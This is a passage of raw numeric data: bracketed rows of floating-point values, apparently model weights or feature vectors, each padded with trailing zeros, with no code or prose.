-0.770297, 0.800295, 0.304365, -0.191041, -1.05883, 0.154859, -0.696541, 0.179514, -0.14188, -0.247329, -0.0541917, -0.922363, 0.00316589, -0.655737, -0.00556167, 0.646665, 1.40815, 1.03414, -0.27139, 0.149364, 0.290216, -0.0363411, 0.0198295, 0.163249, 0.0812152, 0.271214, -0.547351, 0.776483, 0.347321, 0.0589407, 0.24446, 0.100789, 1.94614, 0.012219, 0.0884321, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0181805, -0.325557, 0.0692188, 0.110232, -2.1211, 0.113093, -0.270752, 0.123868, 0.0424257, -0.308339, 0.0443581, -0.322811, -0.15815, 0.511408, -0.0322711, 0.143489, 0.125533, 0.28547, -0.0153673, 0.22136, 0.12958, -0.247926, 0.0328162, -0.22544, -0.00106847, 0.121685, -0.847278, -0.0360141, -0.203392, 0.0135035, -0.0295195, -0.317831, -0.145709, -0.173454, -0.0731065, -0.0904796, -0.0392543, 0.0447164, 0.101598, 0.141203, 0.176995, -0.0963079, 0.144406, 0.400165, -0.102523, 0.32111, -0.0781304, -0.925307, 0.0451659, 0.141122, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.602587, 0.659586, -0.453065, 0.049875, 0.887649, 0.540301, 0.952705, -0.788899, 2.04925, 0.259748, 0.256222, 0.625039, -0.49467, -0.308021, 0.0339048, 1.69215, 0.227108, 0.232524, -0.387246, -0.615077, 0.132613, -0.761285, -0.185989, -2.28393, 0.204514, -0.28227, 1.99067, 0.0187066, -0.871412, -0.0126825, -0.131733, -0.765189, 1.57991, 0.0469678, 0.862357, -0.700131, -0.0228775, -0.046735, 0.666644, 1.03593, -0.190715, 0.204926, 0.661651, 1.52488, 0.185733, 0.0782079, 0.486381, 2.65763, -0.0109685, 0.110703, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.752887, -0.478471, 1.39994, 0.101255, 0.121252, -0.27787, -0.474398, 0.0578434, -0.466961, -0.345561, -0.0124986, 0.405394, -0.320458, 0.266688, 0.0473512, -1.34845, 0.0538951, -2.0339, 0.223071, 0.194584, 0.177177, -0.462163, 0.00804647, -0.647695, -0.46621, -0.19571, -0.0937722, 0.0437719, -0.271097, -0.0403624, -0.0240493, 0.507954, 1.54476, -0.312787, 0.737017, 0.00328578, -0.0261968, -0.0229516, -0.212413, -0.211119, 0.376242, -0.327321, 0.380555, 0.391924, -0.0499722, -0.359118, 0.277867, 0.245395, -0.00205449, 0.155824, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.801065, 0.636743, -0.131133, -0.0128291, -0.519026, -1.46414, -0.052247, 0.310158, -0.323474, 0.494846, -0.31302, -0.590134, -0.713214, 0.0608438, -0.0222102, -2.08981, -0.245216, -0.0402454, 0.269195, -0.111031, -0.0300241, 0.0131718, 0.0189942, 2.26392, 0.387163, 0.194693, -1.16806, -0.0310784, -1.03061, 0.0313343, -0.62131, -0.255381, -0.104615, 0.0840687, -0.779695, 0.983465, 0.00695471, -0.0388964, 0.557936, 0.0947466, -1.79182, 1.3993, 0.31845, -0.0529864, 0.206504, -0.335046, 0.333623, -0.496873, -0.0194792, 0.0340424, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.276457, 1.61969, -1.18102, 0.0288783, 0.743739, -0.109059, -0.541067, 0.466863, -0.630469, 0.686103, 0.0212447, 0.171426, 0.193985, -0.124269, -0.0308605, -0.248467, -0.223282, 0.0869469, 0.235018, 0.954242, 0.0889239, 0.597814, 0.204529, 0.705347, -0.487094, -0.309943, -0.172164, 0.00130987, 0.776314, 0.0161511, 1.47305, 0.545249, 0.416668, -0.0190051, 1.49709, 0.114003, 0.00880033, -0.0304287, 0.206601, -0.220066, 0.0198311, 0.780426, -0.209522, -0.215528, -0.30398, -0.0496115, -0.181818, -0.907975, 0.0242473, 0.115428, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.568968, 0.740317, -0.586662, 0.0520606, 0.290771, 0.579345, 0.00072306, -0.158879, -0.884007, 0.482158, 0.231161, -0.36544, -0.588853, -0.0723725, 0.00867838, 0.126734, -0.509589, 0.0997158, 0.544146, 0.00658153, 0.130512, -0.203093, 1.36939, -0.946367, 0.342031, 0.0342747, 0.872974, -0.0386446, 0.106071, -0.0122847, -0.135048, -0.152609, 0.344545, 0.186404, 1.01816, -0.0995906, -0.00753665, -0.00516517, -0.168874, 0.284862, -0.577401, 0.271368, 0.238348, 0.157282, 0.443511, 0.117993, 0.306246, 0.340185, -0.000126777, 0.125383, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.770981, 0.0920693, 0.151785, 0.0768292, -0.779369, 0.423209, -0.602599, 0.167089, -1.32789, 0.0931249, 0.0630428, -0.219669, -0.677628, -0.192912, 0.0254797, 1.72235, 0.773796, 0.004684, -0.485689, 1.21188, 0.149369, -0.800014, -0.490456, 3.24964, 0.249764, 0.558407, 1.39083, -0.00142413, -0.871718, 0.0469288, -0.118371, -0.668099, 0.276113, -0.829558, -0.61907, -1.53308, -0.00389654, -0.00696698, -0.915548, 0.46704, -2.3769, 0.0689124, 2.00423, -0.036907, 0.704618, -0.611464, 0.0014343, -0.178267, 0.0086322, 0.142541, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.982002, 0.305099, -1.13341, -0.0289651, -1.26557, -0.47776, 1.14012, -0.403638, 0.455155, -0.242837, -0.140703, -1.90457, 0.997942, -0.550981, -0.0261085, -1.96761, -0.173184, -1.19028, 0.736535, -1.3797, 0.0632628, 1.26628, 0.471124, 0.347541, -0.200565, 0.907586, -1.67796, -0.0389732, -0.014801, -0.00904244, -0.691554, 1.03886, -0.722832, -0.844762, -0.0112662, 0.259938, -0.0256342, 0.0432999, 0.884682, -0.461095, 0.208798, -0.164216, -0.43113, -0.293929, -0.55121, -0.921699, -0.0161347, -0.772532, -0.0332619, 0.045946, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.318832, 0.097512, -0.4807, 0.00613486, -0.0245357, 1.2173, -1.31826, -0.407056, 0.334048, 0.141887, -0.154514, -0.345966, 1.32795, -0.659517, -0.0335282, -1.46983, 0.445858, -1.11238, 0.212549, -0.920939, 0.0239915, 1.09231, -0.44014, 0.0164069, -0.458604, 0.7736, -1.07077, 0.00505757, 0.751459, -0.0127344, -0.356407, -0.605063, -2.06554, 0.883995, 0.17369, 0.208334, 0.0229575, 0.0211927, -0.177973, -0.752029, -0.720116, 0.372196, 0.148885, -0.804826, 0.812874, -1.07911, -0.0873162, -0.988304, -0.0425979, 0.0140845, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.288769, -0.0124982, 0.922234, 0.00382944, 1.46097, -0.130316, -0.372823, 0.0309763, -0.175984, -0.413448, -0.234541, -0.194156, -0.223992, -0.205703, 0.0171742, 0.211385, -1.82968, -0.0584166, 0.225601, -0.108283, -0.0603972, -0.0582592, -0.274488, -0.313526, -0.57687, 0.0847888, -0.59763, -0.0242374, -0.202534, 0.0331775, 0.808223, 0.467553, -0.110776, 0.542768, 0.292666, -0.229894, -0.0108577, -0.0306422, 0.0186446, -0.704521, -0.230635, 0.239714, -0.589876, -0.220123, 0.141676, 0.547157, -0.0593986, 0.922143, -0.0375847, -0.0227595, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.396931, -0.027744, -0.361949, -0.0427275, 0.719237, -0.117751, 0.252094, -0.336021, 0.228132, 0.0526264, 0.0895996, -0.961873, 0.554582, 0.0319505, 0.020812, -1.14218, -0.501054, -1.00585, 0.222956, -0.601722, 0.0350781, 0.816835, -0.794922, -0.420808, 0.13512, 0.336955, -0.222098, -0.00123885, 0.538947, -0.0330787, -0.376204, 0.113672, -0.124986, 0.0925195, 0.432174, -0.00620188, 0.00311261, 0.0498651, 0.338842, -0.744813, -0.333084, 0.383265, 0.339811, 0.0280468, -0.200779, -1.03539, -0.182974, -1.32116, -0.000194992, 0.0791693, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.72339, -0.0315444, 0.545637, 0.0766195, -2.44399, 0.284698, -0.699033, -0.290411, -3.18194, 0.496873, -0.127233, 0.446931, -0.676612, 0.143946, 0.0400408, 2.79371, 1.6138, 0.16542, -1.27057, 2.52831, 0.186129, -1.31538, 1.81836, 0.785644, -0.175574, -0.342578, 1.11871, -0.0349823, -0.355781, 0.00142557, 0.618597, -0.344758, 0.0195333, 1.18685, 0.361455, -0.479648, -0.0229202, -0.0149099, -0.145176, 0.755883, -0.798602, 0.20197, 0.278615, 0.512371, 0.308633, 0.660733, 0.199915, 1.00097, -0.00159582, 0.153894, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.131796, 0.688163, -0.344589, 0.0785134, 0.316789, -0.0813764, 1.16311, -0.0161758, -0.181685, -0.632421, -0.121035, 1.21656, -0.0809607, -0.148847, 0.0338589, 3.26357, 0.110504, -0.731726, -0.416249, 1.42577, 0.144213, -0.265877, -0.600287, -2.23555, -1.02468, 0.25016, 0.176003, 0.0367263, 0.774993, 0.00685642, -0.473119, -2.14897, 0.565893, 0.4506, 2.34646, 0.54365, 0.0131187, 0.0174449, 0.440397, -0.0531652, 0.507852, 0.131306, 0.29102, 0.905181, -0.360084, -0.5228, -0.338658, 0.301028, -0.0144255, 0.106124, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0774437, 0.0147341, 0.0240678, 0.0233726, 0.0307415, -0.0518397, 0.0156147, 0.0100041, 0.00313909, 0.0616329, -0.036317, -0.0430012, -0.0913539, -3.8971e-05, -0.013279, -0.0688925, 0.0351352, 0.0407911, 0.00918201, 0.0301168, 0.0749395, 0.00699391, 0.127014, 0.0531419, -0.0302325, -0.0671869, 0.00868082, -0.0443621, 0.0738624, -0.0314992, -0.0161418, 0.0471092, -0.00250223, 0.0299185, 0.0794291, -0.00935785, 0.0356333, 0.0399808, -0.0515702, 0.00975218, -0.0209564, 0.00221278, 0.00343161, 0.0304147, 0.00720335, -0.0162086, -0.0145635, 0.11005, 0.0165173, 0.119441, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.386796, -0.140492, -0.132418, 0.106495, 0.163654, 0.0588243, -0.0428855, 0.549572, 0.0518815, 0.12429, 0.190727, -0.00298405, -0.144867, -0.161533, 0.0204394, -0.00143928, -0.583875, 0.0664724, 0.350918, -0.166056, 0.0849633, 0.230135, 0.288394, 0.254257, -0.0534215, -0.0567815, -0.164516, -0.0216116, 0.147786, -0.00949268, 0.365915, 0.363618, 0.303338, -0.156294, 0.0784994, -0.0745051, 0.0404759, -0.0138939, -0.306917, -0.205112, 0.130708, -0.0348098, -0.0825395, 0.0486447, 0.360312, -0.0184212, 0.0213752, -0.651978, -0.0360499, 0.141563, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.95913, 0.210981, 0.2173, 0.0859081, 0.386294, -0.213318, -0.232988, -0.610688, 1.08806, -0.41054, 0.793597, -0.997471, -0.244266, 0.560945, 0.0370503, 0.0625051, 0.575368, 0.901752, -0.273151, -0.579072, 0.111389, -0.816757, -0.339172, -0.164847, 0.0413575, 0.438716, -0.183991, -0.0373136, -0.127472, -0.0259344, 0.491909, -0.913454, 0.998273, 0.0604665, -0.189198, 0.323795, -0.0215952, -0.0130884, -0.627761, -0.734404, 1.07098, -0.132342, -0.199258, -0.0330781, -0.439168, 0.0150178, -0.211848, -0.0542092, -0.00683388, 0.18314, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.70505, -0.651337, 0.923728, 0.11336, -1.03129, 1.2901, 0.438281, 0.289812, -1.32926, -0.239628, -0.195412, 0.462773, -0.626833, 0.0768243, -0.000864225, -1.657, 0.658108, 2.04174, 0.383248, -0.1554, 0.128018, -0.224595, -0.57738, -3.30221, 0.189979, -0.149701, 1.70213, 0.014787, -0.479339, 0.0479224, 0.41177, 1.10732, -0.361241, 0.354503, 1.2511, 0.292098, -0.0172043, -0.0180502, -1.08767, -0.340808, 0.320782, -0.188972, 1.23279, -0.0208474, 0.698959, 0.0270235, -0.606436, 1.77608, -0.042129, 0.124136, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.352365, -0.200317, -3.95891, 0.0461176, 0.0394426, -0.290324, -0.38592, -0.0483634, -0.555859, 0.312706, -0.239661, 0.410244, -0.303377, -0.186956, -0.0249232, -0.42219, -0.976218, -0.0385873, 0.251281, 0.520904, 0.0351531, -0.298846, -0.0551103, -0.616491, 0.321063, -0.380336, 0.277426, -0.00836618, 0.517137, -0.0154179, 0.582707, 0.189107, -0.0518173, -0.214503, -0.514838, 0.206217, -0.0282783, -0.0133662, 0.130543, 0.136017, 0.729917, 0.410834, 0.385034, 0.588816, -0.108082, 0.180953, -0.118888, 0.714166, -0.0281015, 0.00496339, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.447196, -0.577745, 0.497761, 0.015403, -0.228952, 0.00818958, -1.21499, -0.0340198, 0.831434, -0.363838, 0.0271189, -1.11654, 1.09358, 0.0661902, -0.0366783, -2.14517, 0.556256, -0.850337, 0.204913, -0.95254, 0.0576486, 1.29793, -0.481196, 0.866685, 0.356367, -0.984879, 0.535518, -0.0567744, 0.762016, 0.00398631, -1.8144, -1.97799, -0.253717, 0.440566, 0.725915, 0.974743, -0.0122105, 0.0173286, -0.182417, -0.480047, -0.485174, -0.172146, 0.375859, 0.0585201, 0.0594775, -1.14474, -0.291631, -1.05007, -0.016323, 0.0838004, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.0721532, -0.413915, -0.418054, 0.0348878, -0.817433, -0.399191, -0.552109, 0.287621, 0.163048, 0.00276315, -0.0402459, -0.243913, 0.0201478, 0.220521, -0.0334432, -0.357528, 1.04009, 0.0718622, -0.199652, -0.284125, -0.00935409, 0.110938, -0.326172, -0.0441102, 0.466069, -0.48475, 0.0745944, -0.0205991, 0.0141107, -0.0353305, 0.247658, -0.905939, 0.775189, -0.286427, 0.63184, 0.0483239, 0.0123879, 0.0312118, 0.167519, -0.0741056, 0.283348, 0.80442, 0.0354766, -0.38447, 0.0533453, 0.0067761, 0.13629, 0.44753, 0.0381721, -0.00967373, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.639243, 0.273816, -0.824839, 0.06121, 0.507955, -0.507794, -0.660201, 0.11332, 1.4216, -0.774176, 0.0594689, -0.300563, -0.29999, -0.117758, -0.0462125, -0.891633, 0.253277, -0.697958, 0.330941, -0.519765, 0.109358, 0.330879, 0.00753049, 2.78214, -0.159543, -0.0111012, -0.0519408, 0.0102561, 1.78622, 0.0285163, -0.469057, -1.56634, -0.299804, 0.0989374, 0.0492498, 0.461429, 0.0387967, 0.0300609, 0.739616, -0.544767, 0.137295, 1.00503, 0.676431, 0.640624, 0.922981, 0.760813, 0.152071, 0.801752, -0.000862452, 0.108644, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [1.59717, 0.118666, -1.47879, -0.0345725, -1.10694, 0.484527, -0.106867, -0.566472, 0.162419, -0.495276, 0.0536366, -0.733101, -0.123822, 0.15495, -0.0370191, 0.590439, 0.654493, -7.26813, 0.712322, -1.19827, 0.0521638, 0.565083, 0.0138023, 0.530834, -0.841048, -0.166354, 0.4082, 0.0304101, -0.512737, 0.0110797, -0.172326, 3.13127, -0.00750266, 0.145279, -0.389324, -0.565946, -0.0303405, -0.00547365, -0.423179, -2.19306, -0.496844, 0.262184, -0.978663, -0.328335, -0.778025, -0.515331, 0.988194, -1.85004, 0.0327752, -0.0366685, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0631301, -0.44822, 1.55217, 0.0834854, 0.34124, 0.283679, 0.165076, 0.194563, 0.147365, -0.58313, 0.296115, -1.095, -0.61111, -0.557082, 0.0457833, 1.38202, -0.0787714, 0.932486, -0.425136, -0.0756175, 0.142187, -0.389264, -0.159157, 1.65315, -0.0389222, 0.779264, 0.993301, 0.0144829, -0.347677, -0.0135001, 0.082229, 0.716765, 0.672502, -0.0750661, -0.924431, 0.366763, 0.0352346, -0.0271485, -0.172581, -0.353531, 1.57818, -1.31704, -2.1662, 0.418103, -0.387927, -1.08349, -0.713614, -0.758575, -0.00555885, 0.188555, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-1.46066, 0.940152, 0.516914, 0.0509621, 0.29988, -0.530229, 0.625957, 0.50246, -0.639109, 1.33107, -0.10267, 0.135962, 0.192309, -0.0604857, 0.000400672, 2.96733, 0.920573, 0.753603, -0.6187, 2.32544, 0.123498, -0.584186, 0.732035, 2.9989, 0.454432, 0.550348, 0.290932, 0.00705912, 0.342434, -0.0200507, 0.923548, -0.643455, 1.05904, 0.0831181, 0.380299, -1.71931, -0.0379355, 0.0333765, -0.105595, 0.606525, -1.71988, 0.560999, -0.558419, 0.123895, 1.21853, 0.169684, 0.567713, 0.063765, 0.013746, 0.111795, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.329144, -0.0275108, 0.40956, -0.0373542, 0.435858, 0.163707, 0.42118, -0.122973, -0.164212, -0.127181, 0.00345686, 0.378986, -0.177989, 0.303009, 0.0186429, 0.402064, -0.534688, 0.32534, -0.0969564, -0.127816, 0.021336, -0.207378, 0.418047, -0.190646, 0.41607, -0.123467, 0.6317, 0.0219478, -0.255423, 0.0447372, 0.6337, -0.0714606, 0.507208, -0.168737, -0.381147, -0.0799065, -0.0316268, -0.0381973, -0.275622, 0.205084, 0.272292, -0.130328, -0.0784979, -0.0367539, -0.33476, 0.402532, -0.206285, -0.39273, 0.0273418, 0.00564544, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [-0.319901, 0.917762, 0.320894, 0.0480179, -1.07324, -0.11468, 0.458557, 0.372645, 1.12602, 0.340714, 0.049933, -0.89557, -0.969324, 0.0919644, 0.00114597, -4.01886, 0.106133, 0.251499, -0.0332427, 0.627839, 0.0832841, -0.378255, -0.354967, 3.97374, -0.157628, 0.633015, -0.183544, 0.0175644, -0.511392, 0.0435748, -0.117816, -0.138906, 1.5355, -0.517669, -0.983011, -0.233988, -0.00127865, -0.00135619, 0.489951, 0.240125, -0.217877, -0.286716, -0.0581871, -0.859603, -0.412627, -1.06042, 0.282264, -0.253398, 0.00438269, 0.127759, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 